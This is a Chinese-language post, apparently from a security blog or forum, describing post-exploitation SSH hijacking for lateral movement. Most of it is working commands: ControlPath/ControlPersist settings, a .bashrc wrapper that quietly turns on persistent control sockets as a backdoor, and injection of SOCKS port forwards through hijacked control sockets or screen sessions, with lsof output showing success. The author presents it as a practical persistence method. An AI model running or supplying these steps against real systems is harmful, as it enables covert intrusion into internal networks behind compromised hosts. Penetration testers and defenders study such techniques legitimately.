昨天A牛发群里的链接,其实这种攻击我感觉适合留后门,属于Post Exploitation阶段,我以前也没用过这个方法,都是傻呼呼的用个ld_preload后门,实际环境测试通过后,发现可用,比较有实用价值,就分享下,有错误的地方还请大家指出。
攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。
#!bash
ssh -S [email protected]\:22 %h
来连接
注入命令端口转发的命令如下:
#!bash
ssh -O forward -D 8888 -S [email protected]\:22 %x
执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。
#!bash
[email protected]: # ssh -O exit -S [email protected]\:22 %x
来删除。
在.bashrc里封装ssh命令的方法如下:
#!bash
ssh ()
{
/usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:
#!bash
screen ssh [email protected]
连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件
#!bash
[email protected]:~# ls -la /var/run/screen/
total 0
drwxrwxr-x 3 root utmp 60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar 3 21:23 ..
drwx------ 2 root root 60 Mar 16 04:21 S-root
其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/
来接管会话,或者用screen -x 6851.pts-0.kali
。
#!bash
[email protected]:~# lsof -i TCP:8888
[email protected]:~# script /dev/null
Script started, file is /dev/null
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'~C'
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'-D:8888\n\n'
[email protected]:~# lsof -i TCP:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 6852 root 7u IPv4 94301 0t0 TCP *:8888 (LISTEN)
ssh 6852 root 8u IPv6 94302 0t0 TCP *:8888 (LISTEN)
注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。
http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html